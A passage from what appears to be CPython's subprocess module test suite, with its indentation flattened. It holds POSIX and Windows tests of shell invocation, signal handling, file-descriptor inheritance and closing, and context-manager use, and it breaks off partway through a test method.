def test_shell_sequence(self):
# Run command through the shell (sequence)
newenv = os.environ.copy()
newenv["FRUIT"] = "apple"
p = subprocess.Popen(["echo $FRUIT"], shell=1,
stdout=subprocess.PIPE,
env=newenv)
self.addCleanup(p.stdout.close)
self.assertEqual(p.stdout.read().strip(b" \t\r\n\f"), b"apple")
def test_shell_string(self):
# Run command through the shell (string)
newenv = os.environ.copy()
newenv["FRUIT"] = "apple"
p = subprocess.Popen("echo $FRUIT", shell=1,
stdout=subprocess.PIPE,
env=newenv)
self.addCleanup(p.stdout.close)
self.assertEqual(p.stdout.read().strip(b" \t\r\n\f"), b"apple")
def test_call_string(self):
# call() function with string argument on UNIX
fd, fname = tempfile.mkstemp()
# reopen in text mode
with open(fd, "w", errors="surrogateescape") as fobj:
fobj.write("#!/bin/sh\n")
fobj.write("exec '%s' -c 'import sys; sys.exit(47)'\n" %
sys.executable)
os.chmod(fname, 0o700)
rc = subprocess.call(fname)
os.remove(fname)
self.assertEqual(rc, 47)
def test_specific_shell(self):
# Issue #9265: Incorrect name passed as arg[0].
shells = []
for prefix in ['/bin', '/usr/bin/', '/usr/local/bin']:
for name in ['bash', 'ksh']:
sh = os.path.join(prefix, name)
if os.path.isfile(sh):
shells.append(sh)
if not shells: # Will probably work for any shell but csh.
self.skipTest("bash or ksh required for this test")
sh = '/bin/sh'
if os.path.isfile(sh) and not os.path.islink(sh):
# Test will fail if /bin/sh is a symlink to csh.
shells.append(sh)
for sh in shells:
p = subprocess.Popen("echo $0", executable=sh, shell=True,
stdout=subprocess.PIPE)
self.addCleanup(p.stdout.close)
self.assertEqual(p.stdout.read().strip(), bytes(sh, 'ascii'))
def _kill_process(self, method, *args):
# Do not inherit file handles from the parent.
# It should fix failures on some platforms.
# Also set the SIGINT handler to the default to make sure it's not
# being ignored (some tests rely on that.)
old_handler = signal.signal(signal.SIGINT, signal.default_int_handler)
try:
p = subprocess.Popen([sys.executable, "-c", """if 1:
import sys, time
sys.stdout.write('x\\n')
sys.stdout.flush()
time.sleep(30)
"""],
close_fds=True,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
finally:
signal.signal(signal.SIGINT, old_handler)
# Wait for the interpreter to be completely initialized before
# sending any signal.
p.stdout.read(1)
getattr(p, method)(*args)
return p
@unittest.skipIf(sys.platform.startswith(('netbsd', 'openbsd')),
"Due to known OS bug (issue #16762)")
def _kill_dead_process(self, method, *args):
# Do not inherit file handles from the parent.
# It should fix failures on some platforms.
p = subprocess.Popen([sys.executable, "-c", """if 1:
import sys, time
sys.stdout.write('x\\n')
sys.stdout.flush()
"""],
close_fds=True,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
# Wait for the interpreter to be completely initialized before
# sending any signal.
p.stdout.read(1)
# The process should end after this
time.sleep(1)
# This shouldn't raise even though the child is now dead
getattr(p, method)(*args)
p.communicate()
def test_send_signal(self):
p = self._kill_process('send_signal', signal.SIGINT)
_, stderr = p.communicate()
self.assertIn(b'KeyboardInterrupt', stderr)
self.assertNotEqual(p.wait(), 0)
def test_kill(self):
p = self._kill_process('kill')
_, stderr = p.communicate()
self.assertStderrEqual(stderr, b'')
self.assertEqual(p.wait(), -signal.SIGKILL)
def test_terminate(self):
p = self._kill_process('terminate')
_, stderr = p.communicate()
self.assertStderrEqual(stderr, b'')
self.assertEqual(p.wait(), -signal.SIGTERM)
def test_send_signal_dead(self):
# Sending a signal to a dead process
self._kill_dead_process('send_signal', signal.SIGINT)
def test_kill_dead(self):
# Killing a dead process
self._kill_dead_process('kill')
def test_terminate_dead(self):
# Terminating a dead process
self._kill_dead_process('terminate')
def _save_fds(self, save_fds):
fds = []
for fd in save_fds:
inheritable = os.get_inheritable(fd)
saved = os.dup(fd)
fds.append((fd, saved, inheritable))
return fds
def _restore_fds(self, fds):
for fd, saved, inheritable in fds:
os.dup2(saved, fd, inheritable=inheritable)
os.close(saved)
def check_close_std_fds(self, fds):
# Issue #9905: test that subprocess pipes still work properly with
# some standard fds closed
stdin = 0
saved_fds = self._save_fds(fds)
for fd, saved, inheritable in saved_fds:
if fd == 0:
stdin = saved
break
try:
for fd in fds:
os.close(fd)
out, err = subprocess.Popen([sys.executable, "-c",
'import sys;'
'sys.stdout.write("apple");'
'sys.stdout.flush();'
'sys.stderr.write("orange")'],
stdin=stdin,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE).communicate()
err = support.strip_python_stderr(err)
self.assertEqual((out, err), (b'apple', b'orange'))
finally:
self._restore_fds(saved_fds)
def test_close_fd_0(self):
self.check_close_std_fds([0])
def test_close_fd_1(self):
self.check_close_std_fds([1])
def test_close_fd_2(self):
self.check_close_std_fds([2])
def test_close_fds_0_1(self):
self.check_close_std_fds([0, 1])
def test_close_fds_0_2(self):
self.check_close_std_fds([0, 2])
def test_close_fds_1_2(self):
self.check_close_std_fds([1, 2])
def test_close_fds_0_1_2(self):
# Issue #10806: test that subprocess pipes still work properly with
# all standard fds closed.
self.check_close_std_fds([0, 1, 2])
def test_small_errpipe_write_fd(self):
"""Issue #15798: Popen should work when stdio fds are available."""
new_stdin = os.dup(0)
new_stdout = os.dup(1)
try:
os.close(0)
os.close(1)
# Side test: if errpipe_write fails to have its CLOEXEC
# flag set this should cause the parent to think the exec
# failed. Extremely unlikely: everyone supports CLOEXEC.
subprocess.Popen([
sys.executable, "-c",
"print('AssertionError:0:CLOEXEC failure.')"]).wait()
finally:
# Restore original stdin and stdout
os.dup2(new_stdin, 0)
os.dup2(new_stdout, 1)
os.close(new_stdin)
os.close(new_stdout)
def test_remapping_std_fds(self):
# open up some temporary files
temps = [tempfile.mkstemp() for i in range(3)]
try:
temp_fds = [fd for fd, fname in temps]
# unlink the files -- we won't need to reopen them
for fd, fname in temps:
os.unlink(fname)
# write some data to what will become stdin, and rewind
os.write(temp_fds[1], b"STDIN")
os.lseek(temp_fds[1], 0, 0)
# move the standard file descriptors out of the way
saved_fds = self._save_fds(range(3))
try:
# duplicate the file objects over the standard fd's
for fd, temp_fd in enumerate(temp_fds):
os.dup2(temp_fd, fd)
# now use those files in the "wrong" order, so that subprocess
# has to rearrange them in the child
p = subprocess.Popen([sys.executable, "-c",
'import sys; got = sys.stdin.read();'
'sys.stdout.write("got %s"%got); sys.stderr.write("err")'],
stdin=temp_fds[1],
stdout=temp_fds[2],
stderr=temp_fds[0])
p.wait()
finally:
self._restore_fds(saved_fds)
for fd in temp_fds:
os.lseek(fd, 0, 0)
out = os.read(temp_fds[2], 1024)
err = support.strip_python_stderr(os.read(temp_fds[0], 1024))
self.assertEqual(out, b"got STDIN")
self.assertEqual(err, b"err")
finally:
for fd in temp_fds:
os.close(fd)
def check_swap_fds(self, stdin_no, stdout_no, stderr_no):
# open up some temporary files
temps = [tempfile.mkstemp() for i in range(3)]
temp_fds = [fd for fd, fname in temps]
try:
# unlink the files -- we won't need to reopen them
for fd, fname in temps:
os.unlink(fname)
# save a copy of the standard file descriptors
saved_fds = self._save_fds(range(3))
try:
# duplicate the temp files over the standard fd's 0, 1, 2
for fd, temp_fd in enumerate(temp_fds):
os.dup2(temp_fd, fd)
# write some data to what will become stdin, and rewind
os.write(stdin_no, b"STDIN")
os.lseek(stdin_no, 0, 0)
# now use those files in the given order, so that subprocess
# has to rearrange them in the child
p = subprocess.Popen([sys.executable, "-c",
'import sys; got = sys.stdin.read();'
'sys.stdout.write("got %s"%got); sys.stderr.write("err")'],
stdin=stdin_no,
stdout=stdout_no,
stderr=stderr_no)
p.wait()
for fd in temp_fds:
os.lseek(fd, 0, 0)
out = os.read(stdout_no, 1024)
err = support.strip_python_stderr(os.read(stderr_no, 1024))
finally:
self._restore_fds(saved_fds)
self.assertEqual(out, b"got STDIN")
self.assertEqual(err, b"err")
finally:
for fd in temp_fds:
os.close(fd)
# When duping fds, if there arises a situation where one of the fds is
# either 0, 1 or 2, it is possible that it is overwritten (#12607).
# This tests all combinations of this.
def test_swap_fds(self):
self.check_swap_fds(0, 1, 2)
self.check_swap_fds(0, 2, 1)
self.check_swap_fds(1, 0, 2)
self.check_swap_fds(1, 2, 0)
self.check_swap_fds(2, 0, 1)
self.check_swap_fds(2, 1, 0)
def test_surrogates_error_message(self):
def prepare():
raise ValueError("surrogate:\uDCff")
try:
subprocess.call(
[sys.executable, "-c", "pass"],
preexec_fn=prepare)
except ValueError as err:
# Pure Python implementations keeps the message
self.assertIsNone(subprocess._posixsubprocess)
self.assertEqual(str(err), "surrogate:\uDCff")
except subprocess.SubprocessError as err:
# _posixsubprocess uses a default message
self.assertIsNotNone(subprocess._posixsubprocess)
self.assertEqual(str(err), "Exception occurred in preexec_fn.")
else:
self.fail("Expected ValueError or subprocess.SubprocessError")
def test_undecodable_env(self):
for key, value in (('test', 'abc\uDCFF'), ('test\uDCFF', '42')):
encoded_value = value.encode("ascii", "surrogateescape")
# test str with surrogates
script = "import os; print(ascii(os.getenv(%s)))" % repr(key)
env = os.environ.copy()
env[key] = value
# Use C locale to get ASCII for the locale encoding to force
# surrogate-escaping of \xFF in the child process; otherwise it can
# be decoded as-is if the default locale is latin-1.
env['LC_ALL'] = 'C'
if sys.platform.startswith("aix"):
# On AIX, the C locale uses the Latin1 encoding
decoded_value = encoded_value.decode("latin1", "surrogateescape")
else:
# On other UNIXes, the C locale uses the ASCII encoding
decoded_value = value
stdout = subprocess.check_output(
[sys.executable, "-c", script],
env=env)
stdout = stdout.rstrip(b'\n\r')
self.assertEqual(stdout.decode('ascii'), ascii(decoded_value))
# test bytes
key = key.encode("ascii", "surrogateescape")
script = "import os; print(ascii(os.getenvb(%s)))" % repr(key)
env = os.environ.copy()
env[key] = encoded_value
stdout = subprocess.check_output(
[sys.executable, "-c", script],
env=env)
stdout = stdout.rstrip(b'\n\r')
self.assertEqual(stdout.decode('ascii'), ascii(encoded_value))
def test_bytes_program(self):
abs_program = os.fsencode(sys.executable)
path, program = os.path.split(sys.executable)
program = os.fsencode(program)
# absolute bytes path
exitcode = subprocess.call([abs_program, "-c", "pass"])
self.assertEqual(exitcode, 0)
# absolute bytes path as a string
cmd = b"'" + abs_program + b"' -c pass"
exitcode = subprocess.call(cmd, shell=True)
self.assertEqual(exitcode, 0)
# bytes program, unicode PATH
env = os.environ.copy()
env["PATH"] = path
exitcode = subprocess.call([program, "-c", "pass"], env=env)
self.assertEqual(exitcode, 0)
# bytes program, bytes PATH
envb = os.environb.copy()
envb[b"PATH"] = os.fsencode(path)
exitcode = subprocess.call([program, "-c", "pass"], env=envb)
self.assertEqual(exitcode, 0)
def test_pipe_cloexec(self):
sleeper = support.findfile("input_reader.py", subdir="subprocessdata")
fd_status = support.findfile("fd_status.py", subdir="subprocessdata")
p1 = subprocess.Popen([sys.executable, sleeper],
stdin=subprocess.PIPE, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, close_fds=False)
self.addCleanup(p1.communicate, b'')
p2 = subprocess.Popen([sys.executable, fd_status],
stdout=subprocess.PIPE, close_fds=False)
output, error = p2.communicate()
result_fds = set(map(int, output.split(b',')))
unwanted_fds = set([p1.stdin.fileno(), p1.stdout.fileno(),
p1.stderr.fileno()])
self.assertFalse(result_fds & unwanted_fds,
"Expected no fds from %r to be open in child, "
"found %r" %
(unwanted_fds, result_fds & unwanted_fds))
def test_pipe_cloexec_real_tools(self):
qcat = support.findfile("qcat.py", subdir="subprocessdata")
qgrep = support.findfile("qgrep.py", subdir="subprocessdata")
subdata = b'zxcvbn'
data = subdata * 4 + b'\n'
p1 = subprocess.Popen([sys.executable, qcat],
stdin=subprocess.PIPE, stdout=subprocess.PIPE,
close_fds=False)
p2 = subprocess.Popen([sys.executable, qgrep, subdata],
stdin=p1.stdout, stdout=subprocess.PIPE,
close_fds=False)
self.addCleanup(p1.wait)
self.addCleanup(p2.wait)
def kill_p1():
try:
p1.terminate()
except ProcessLookupError:
pass
def kill_p2():
try:
p2.terminate()
except ProcessLookupError:
pass
self.addCleanup(kill_p1)
self.addCleanup(kill_p2)
p1.stdin.write(data)
p1.stdin.close()
readfiles, ignored1, ignored2 = select.select([p2.stdout], [], [], 10)
self.assertTrue(readfiles, "The child hung")
self.assertEqual(p2.stdout.read(), data)
p1.stdout.close()
p2.stdout.close()
def test_close_fds(self):
fd_status = support.findfile("fd_status.py", subdir="subprocessdata")
fds = os.pipe()
self.addCleanup(os.close, fds[0])
self.addCleanup(os.close, fds[1])
open_fds = set(fds)
# add a bunch more fds
for _ in range(9):
fd = os.open(os.devnull, os.O_RDONLY)
self.addCleanup(os.close, fd)
open_fds.add(fd)
for fd in open_fds:
os.set_inheritable(fd, True)
p = subprocess.Popen([sys.executable, fd_status],
stdout=subprocess.PIPE, close_fds=False)
output, ignored = p.communicate()
remaining_fds = set(map(int, output.split(b',')))
self.assertEqual(remaining_fds & open_fds, open_fds,
"Some fds were closed")
p = subprocess.Popen([sys.executable, fd_status],
stdout=subprocess.PIPE, close_fds=True)
output, ignored = p.communicate()
remaining_fds = set(map(int, output.split(b',')))
self.assertFalse(remaining_fds & open_fds,
"Some fds were left open")
self.assertIn(1, remaining_fds, "Subprocess failed")
# Keep some of the fd's we opened open in the subprocess.
# This tests _posixsubprocess.c's proper handling of fds_to_keep.
fds_to_keep = set(open_fds.pop() for _ in range(8))
p = subprocess.Popen([sys.executable, fd_status],
stdout=subprocess.PIPE, close_fds=True,
pass_fds=())
output, ignored = p.communicate()
remaining_fds = set(map(int, output.split(b',')))
self.assertFalse(remaining_fds & fds_to_keep & open_fds,
"Some fds not in pass_fds were left open")
self.assertIn(1, remaining_fds, "Subprocess failed")
@unittest.skipIf(sys.platform.startswith("freebsd") and
os.stat("/dev").st_dev == os.stat("/dev/fd").st_dev,
"Requires fdescfs mounted on /dev/fd on FreeBSD.")
def test_close_fds_when_max_fd_is_lowered(self):
"""Confirm that issue21618 is fixed (may fail under valgrind)."""
fd_status = support.findfile("fd_status.py", subdir="subprocessdata")
# This launches the meat of the test in a child process to
# avoid messing with the larger unittest processes maximum
# number of file descriptors.
# This process launches:
# +--> Process that lowers its RLIMIT_NOFILE aftr setting up
# a bunch of high open fds above the new lower rlimit.
# Those are reported via stdout before launching a new
# process with close_fds=False to run the actual test:
# +--> The TEST: This one launches a fd_status.py
# subprocess with close_fds=True so we can find out if
# any of the fds above the lowered rlimit are still open.
p = subprocess.Popen([sys.executable, '-c', textwrap.dedent(
'''
import os, resource, subprocess, sys, textwrap
open_fds = set()
# Add a bunch more fds to pass down.
for _ in range(40):
fd = os.open(os.devnull, os.O_RDONLY)
open_fds.add(fd)
# Leave a two pairs of low ones available for use by the
# internal child error pipe and the stdout pipe.
# We also leave 10 more open as some Python buildbots run into
# "too many open files" errors during the test if we do not.
for fd in sorted(open_fds)[:14]:
os.close(fd)
open_fds.remove(fd)
for fd in open_fds:
#self.addCleanup(os.close, fd)
os.set_inheritable(fd, True)
max_fd_open = max(open_fds)
# Communicate the open_fds to the parent unittest.TestCase process.
print(','.join(map(str, sorted(open_fds))))
sys.stdout.flush()
rlim_cur, rlim_max = resource.getrlimit(resource.RLIMIT_NOFILE)
try:
# 29 is lower than the highest fds we are leaving open.
resource.setrlimit(resource.RLIMIT_NOFILE, (29, rlim_max))
# Launch a new Python interpreter with our low fd rlim_cur that
# inherits open fds above that limit. It then uses subprocess
# with close_fds=True to get a report of open fds in the child.
# An explicit list of fds to check is passed to fd_status.py as
# letting fd_status rely on its default logic would miss the
# fds above rlim_cur as it normally only checks up to that limit.
subprocess.Popen(
[sys.executable, '-c',
textwrap.dedent("""
import subprocess, sys
subprocess.Popen([sys.executable, %r] +
[str(x) for x in range({max_fd})],
close_fds=True).wait()
""".format(max_fd=max_fd_open+1))],
close_fds=False).wait()
finally:
resource.setrlimit(resource.RLIMIT_NOFILE, (rlim_cur, rlim_max))
''' % fd_status)], stdout=subprocess.PIPE)
output, unused_stderr = p.communicate()
output_lines = output.splitlines()
self.assertEqual(len(output_lines), 2,
msg="expected exactly two lines of output:\n%r" % output)
opened_fds = set(map(int, output_lines[0].strip().split(b',')))
remaining_fds = set(map(int, output_lines[1].strip().split(b',')))
self.assertFalse(remaining_fds & opened_fds,
msg="Some fds were left open.")
# Mac OS X Tiger (10.4) has a kernel bug: sometimes, the file
# descriptor of a pipe closed in the parent process is valid in the
# child process according to fstat(), but the mode of the file
# descriptor is invalid, and read or write raise an error.
@support.requires_mac_ver(10, 5)
def test_pass_fds(self):
fd_status = support.findfile("fd_status.py", subdir="subprocessdata")
open_fds = set()
for x in range(5):
fds = os.pipe()
self.addCleanup(os.close, fds[0])
self.addCleanup(os.close, fds[1])
os.set_inheritable(fds[0], True)
os.set_inheritable(fds[1], True)
open_fds.update(fds)
for fd in open_fds:
p = subprocess.Popen([sys.executable, fd_status],
stdout=subprocess.PIPE, close_fds=True,
pass_fds=(fd, ))
output, ignored = p.communicate()
remaining_fds = set(map(int, output.split(b',')))
to_be_closed = open_fds - {fd}
self.assertIn(fd, remaining_fds, "fd to be passed not passed")
self.assertFalse(remaining_fds & to_be_closed,
"fd to be closed passed")
# pass_fds overrides close_fds with a warning.
with self.assertWarns(RuntimeWarning) as context:
self.assertFalse(subprocess.call(
[sys.executable, "-c", "import sys; sys.exit(0)"],
close_fds=False, pass_fds=(fd, )))
self.assertIn('overriding close_fds', str(context.warning))
def test_pass_fds_inheritable(self):
script = support.findfile("fd_status.py", subdir="subprocessdata")
inheritable, non_inheritable = os.pipe()
self.addCleanup(os.close, inheritable)
self.addCleanup(os.close, non_inheritable)
os.set_inheritable(inheritable, True)
os.set_inheritable(non_inheritable, False)
pass_fds = (inheritable, non_inheritable)
args = [sys.executable, script]
args += list(map(str, pass_fds))
p = subprocess.Popen(args,
stdout=subprocess.PIPE, close_fds=True,
pass_fds=pass_fds)
output, ignored = p.communicate()
fds = set(map(int, output.split(b',')))
# the inheritable file descriptor must be inherited, so its inheritable
# flag must be set in the child process after fork() and before exec()
self.assertEqual(fds, set(pass_fds), "output=%a" % output)
# inheritable flag must not be changed in the parent process
self.assertEqual(os.get_inheritable(inheritable), True)
self.assertEqual(os.get_inheritable(non_inheritable), False)
def test_stdout_stdin_are_single_inout_fd(self):
with io.open(os.devnull, "r+") as inout:
p = subprocess.Popen([sys.executable, "-c", "import sys; sys.exit(0)"],
stdout=inout, stdin=inout)
p.wait()
def test_stdout_stderr_are_single_inout_fd(self):
with io.open(os.devnull, "r+") as inout:
p = subprocess.Popen([sys.executable, "-c", "import sys; sys.exit(0)"],
stdout=inout, stderr=inout)
p.wait()
def test_stderr_stdin_are_single_inout_fd(self):
with io.open(os.devnull, "r+") as inout:
p = subprocess.Popen([sys.executable, "-c", "import sys; sys.exit(0)"],
stderr=inout, stdin=inout)
p.wait()
def test_wait_when_sigchild_ignored(self):
# NOTE: sigchild_ignore.py may not be an effective test on all OSes.
sigchild_ignore = support.findfile("sigchild_ignore.py",
subdir="subprocessdata")
p = subprocess.Popen([sys.executable, sigchild_ignore],
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout, stderr = p.communicate()
self.assertEqual(0, p.returncode, "sigchild_ignore.py exited"
" non-zero with this error:\n%s" %
stderr.decode('utf-8'))
def test_select_unbuffered(self):
# Issue #11459: bufsize=0 should really set the pipes as
# unbuffered (and therefore let select() work properly).
select = support.import_module("select")
p = subprocess.Popen([sys.executable, "-c",
'import sys;'
'sys.stdout.write("apple")'],
stdout=subprocess.PIPE,
bufsize=0)
f = p.stdout
self.addCleanup(f.close)
try:
self.assertEqual(f.read(4), b"appl")
self.assertIn(f, select.select([f], [], [], 0.0)[0])
finally:
p.wait()
def test_zombie_fast_process_del(self):
# Issue #12650: on Unix, if Popen.__del__() was called before the
# process exited, it wouldn't be added to subprocess._active, and would
# remain a zombie.
# spawn a Popen, and delete its reference before it exits
p = subprocess.Popen([sys.executable, "-c",
'import sys, time;'
'time.sleep(0.2)'],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
self.addCleanup(p.stdout.close)
self.addCleanup(p.stderr.close)
ident = id(p)
pid = p.pid
del p
# check that p is in the active processes list
self.assertIn(ident, [id(o) for o in subprocess._active])
def test_leak_fast_process_del_killed(self):
# Issue #12650: on Unix, if Popen.__del__() was called before the
# process exited, and the process got killed by a signal, it would never
# be removed from subprocess._active, which triggered a FD and memory
# leak.
# spawn a Popen, delete its reference and kill it
p = subprocess.Popen([sys.executable, "-c",
'import time;'
'time.sleep(3)'],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
self.addCleanup(p.stdout.close)
self.addCleanup(p.stderr.close)
ident = id(p)
pid = p.pid
del p
os.kill(pid, signal.SIGKILL)
# check that p is in the active processes list
self.assertIn(ident, [id(o) for o in subprocess._active])
# let some time for the process to exit, and create a new Popen: this
# should trigger the wait() of p
time.sleep(0.2)
with self.assertRaises(OSError) as c:
with subprocess.Popen(['nonexisting_i_hope'],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE) as proc:
pass
# p should have been wait()ed on, and removed from the _active list
self.assertRaises(OSError, os.waitpid, pid, 0)
self.assertNotIn(ident, [id(o) for o in subprocess._active])
def test_close_fds_after_preexec(self):
fd_status = support.findfile("fd_status.py", subdir="subprocessdata")
# this FD is used as dup2() target by preexec_fn, and should be closed
# in the child process
fd = os.dup(1)
self.addCleanup(os.close, fd)
p = subprocess.Popen([sys.executable, fd_status],
stdout=subprocess.PIPE, close_fds=True,
preexec_fn=lambda: os.dup2(1, fd))
output, ignored = p.communicate()
remaining_fds = set(map(int, output.split(b',')))
self.assertNotIn(fd, remaining_fds)
@support.cpython_only
def test_fork_exec(self):
# Issue #22290: fork_exec() must not crash on memory allocation failure
# or other errors
import _posixsubprocess
gc_enabled = gc.isenabled()
try:
# Use a preexec function and enable the garbage collector
# to force fork_exec() to re-enable the garbage collector
# on error.
func = lambda: None
gc.enable()
for args, exe_list, cwd, env_list in (
(123, [b"exe"], None, [b"env"]),
([b"arg"], 123, None, [b"env"]),
([b"arg"], [b"exe"], 123, [b"env"]),
([b"arg"], [b"exe"], None, 123),
):
with self.assertRaises(TypeError):
_posixsubprocess.fork_exec(
args, exe_list,
True, [], cwd, env_list,
-1, -1, -1, -1,
1, 2, 3, 4,
True, True, func)
finally:
if not gc_enabled:
gc.disable()
@support.cpython_only
def test_fork_exec_sorted_fd_sanity_check(self):
# Issue #23564: sanity check the fork_exec() fds_to_keep sanity check.
import _posixsubprocess
gc_enabled = gc.isenabled()
try:
gc.enable()
for fds_to_keep in (
(-1, 2, 3, 4, 5), # Negative number.
('str', 4), # Not an int.
(18, 23, 42, 2**63), # Out of range.
(5, 4), # Not sorted.
(6, 7, 7, 8), # Duplicate.
):
with self.assertRaises(
ValueError,
msg='fds_to_keep={}'.format(fds_to_keep)) as c:
_posixsubprocess.fork_exec(
[b"false"], [b"false"],
True, fds_to_keep, None, [b"env"],
-1, -1, -1, -1,
1, 2, 3, 4,
True, True, None)
self.assertIn('fds_to_keep', str(c.exception))
finally:
if not gc_enabled:
gc.disable()
@unittest.skipUnless(mswindows, "Windows specific tests")
class Win32ProcessTestCase(BaseTestCase):
def test_startupinfo(self):
# startupinfo argument
# We uses hardcoded constants, because we do not want to
# depend on win32all.
STARTF_USESHOWWINDOW = 1
SW_MAXIMIZE = 3
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags = STARTF_USESHOWWINDOW
startupinfo.wShowWindow = SW_MAXIMIZE
# Since Python is a console process, it won't be affected
# by wShowWindow, but the argument should be silently
# ignored
subprocess.call([sys.executable, "-c", "import sys; sys.exit(0)"],
startupinfo=startupinfo)
def test_creationflags(self):
# creationflags argument
CREATE_NEW_CONSOLE = 16
sys.stderr.write(" a DOS box should flash briefly ...\n")
subprocess.call(sys.executable +
' -c "import time; time.sleep(0.25)"',
creationflags=CREATE_NEW_CONSOLE)
def test_invalid_args(self):
# invalid arguments should raise ValueError
self.assertRaises(ValueError, subprocess.call,
[sys.executable, "-c",
"import sys; sys.exit(47)"],
preexec_fn=lambda: 1)
self.assertRaises(ValueError, subprocess.call,
[sys.executable, "-c",
"import sys; sys.exit(47)"],
stdout=subprocess.PIPE,
close_fds=True)
def test_close_fds(self):
# close file descriptors
rc = subprocess.call([sys.executable, "-c",
"import sys; sys.exit(47)"],
close_fds=True)
self.assertEqual(rc, 47)
def test_shell_sequence(self):
# Run command through the shell (sequence)
newenv = os.environ.copy()
newenv["FRUIT"] = "physalis"
p = subprocess.Popen(["set"], shell=1,
stdout=subprocess.PIPE,
env=newenv)
self.addCleanup(p.stdout.close)
self.assertIn(b"physalis", p.stdout.read())
def test_shell_string(self):
# Run command through the shell (string)
newenv = os.environ.copy()
newenv["FRUIT"] = "physalis"
p = subprocess.Popen("set", shell=1,
stdout=subprocess.PIPE,
env=newenv)
self.addCleanup(p.stdout.close)
self.assertIn(b"physalis", p.stdout.read())
def test_call_string(self):
# call() function with string argument on Windows
rc = subprocess.call(sys.executable +
' -c "import sys; sys.exit(47)"')
self.assertEqual(rc, 47)
def _kill_process(self, method, *args):
# Some win32 buildbot raises EOFError if stdin is inherited
p = subprocess.Popen([sys.executable, "-c", """if 1:
import sys, time
sys.stdout.write('x\\n')
sys.stdout.flush()
time.sleep(30)
"""],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
self.addCleanup(p.stdout.close)
self.addCleanup(p.stderr.close)
self.addCleanup(p.stdin.close)
# Wait for the interpreter to be completely initialized before
# sending any signal.
p.stdout.read(1)
getattr(p, method)(*args)
_, stderr = p.communicate()
self.assertStderrEqual(stderr, b'')
returncode = p.wait()
self.assertNotEqual(returncode, 0)
def _kill_dead_process(self, method, *args):
p = subprocess.Popen([sys.executable, "-c", """if 1:
import sys, time
sys.stdout.write('x\\n')
sys.stdout.flush()
sys.exit(42)
"""],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
self.addCleanup(p.stdout.close)
self.addCleanup(p.stderr.close)
self.addCleanup(p.stdin.close)
# Wait for the interpreter to be completely initialized before
# sending any signal.
p.stdout.read(1)
# The process should end after this
time.sleep(1)
# This shouldn't raise even though the child is now dead
getattr(p, method)(*args)
_, stderr = p.communicate()
self.assertStderrEqual(stderr, b'')
rc = p.wait()
self.assertEqual(rc, 42)
def test_send_signal(self):
self._kill_process('send_signal', signal.SIGTERM)
def test_kill(self):
self._kill_process('kill')
def test_terminate(self):
self._kill_process('terminate')
def test_send_signal_dead(self):
self._kill_dead_process('send_signal', signal.SIGTERM)
def test_kill_dead(self):
self._kill_dead_process('kill')
def test_terminate_dead(self):
self._kill_dead_process('terminate')
class CommandTests(unittest.TestCase):
def test_getoutput(self):
self.assertEqual(subprocess.getoutput('echo xyzzy'), 'xyzzy')
self.assertEqual(subprocess.getstatusoutput('echo xyzzy'),
(0, 'xyzzy'))
# we use mkdtemp in the next line to create an empty directory
# under our exclusive control; from that, we can invent a pathname
# that we _know_ won't exist. This is guaranteed to fail.
dir = None
try:
dir = tempfile.mkdtemp()
name = os.path.join(dir, "foo")
status, output = subprocess.getstatusoutput(
("type " if mswindows else "cat ") + name)
self.assertNotEqual(status, 0)
finally:
if dir is not None:
os.rmdir(dir)
@unittest.skipUnless(hasattr(selectors, 'PollSelector'),
"Test needs selectors.PollSelector")
class ProcessTestCaseNoPoll(ProcessTestCase):
def setUp(self):
self.orig_selector = subprocess._PopenSelector
subprocess._PopenSelector = selectors.SelectSelector
ProcessTestCase.setUp(self)
def tearDown(self):
subprocess._PopenSelector = self.orig_selector
ProcessTestCase.tearDown(self)
def test__all__(self):
"""Ensure that __all__ is populated properly."""
intentionally_excluded = set(("list2cmdline",))
exported = set(subprocess.__all__)
possible_exports = set()
import types
for name, value in subprocess.__dict__.items():
if name.startswith('_'):
continue
if isinstance(value, (types.ModuleType,)):
continue
possible_exports.add(name)
self.assertEqual(exported, possible_exports - intentionally_excluded)
@unittest.skipUnless(mswindows, "Windows-specific tests")
class CommandsWithSpaces (BaseTestCase):
def setUp(self):
super().setUp()
f, fname = tempfile.mkstemp(".py", "te st")
self.fname = fname.lower ()
os.write(f, b"import sys;"
b"sys.stdout.write('%d %s' % (len(sys.argv), [a.lower () for a in sys.argv]))"
)
os.close(f)
def tearDown(self):
os.remove(self.fname)
super().tearDown()
def with_spaces(self, *args, **kwargs):
kwargs['stdout'] = subprocess.PIPE
p = subprocess.Popen(*args, **kwargs)
self.addCleanup(p.stdout.close)
self.assertEqual(
p.stdout.read ().decode("mbcs"),
"2 [%r, 'ab cd']" % self.fname
)
def test_shell_string_with_spaces(self):
# call() function with string argument with spaces on Windows
self.with_spaces('"%s" "%s" "%s"' % (sys.executable, self.fname,
"ab cd"), shell=1)
def test_shell_sequence_with_spaces(self):
# call() function with sequence argument with spaces on Windows
self.with_spaces([sys.executable, self.fname, "ab cd"], shell=1)
def test_noshell_string_with_spaces(self):
# call() function with string argument with spaces on Windows
self.with_spaces('"%s" "%s" "%s"' % (sys.executable, self.fname,
"ab cd"))
def test_noshell_sequence_with_spaces(self):
# call() function with sequence argument with spaces on Windows
self.with_spaces([sys.executable, self.fname, "ab cd"])
class ContextManagerTests(BaseTestCase):
def test_pipe(self):
with subprocess.Popen([sys.executable, "-c",
"import sys;"
"sys.stdout.write('stdout');"
"sys.stderr.write('stderr');"],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE) as proc:
self.assertEqual(proc.stdout.read(), b"stdout")
self.assertStderrEqual(proc.stderr.read(), b"stderr")
self.assertTrue(proc.stdout.closed)
self.assertTrue(proc.stderr.closed)
def test_returncode(self):
with subprocess.Popen([sys.executable, "-c",
"import sys; sys.exit(100)"]) as proc:
pass
# __exit__ calls wait(), so the returncode should be set
self.assertEqual(proc.returncode, 100)
def test_communicate_stdin(self):
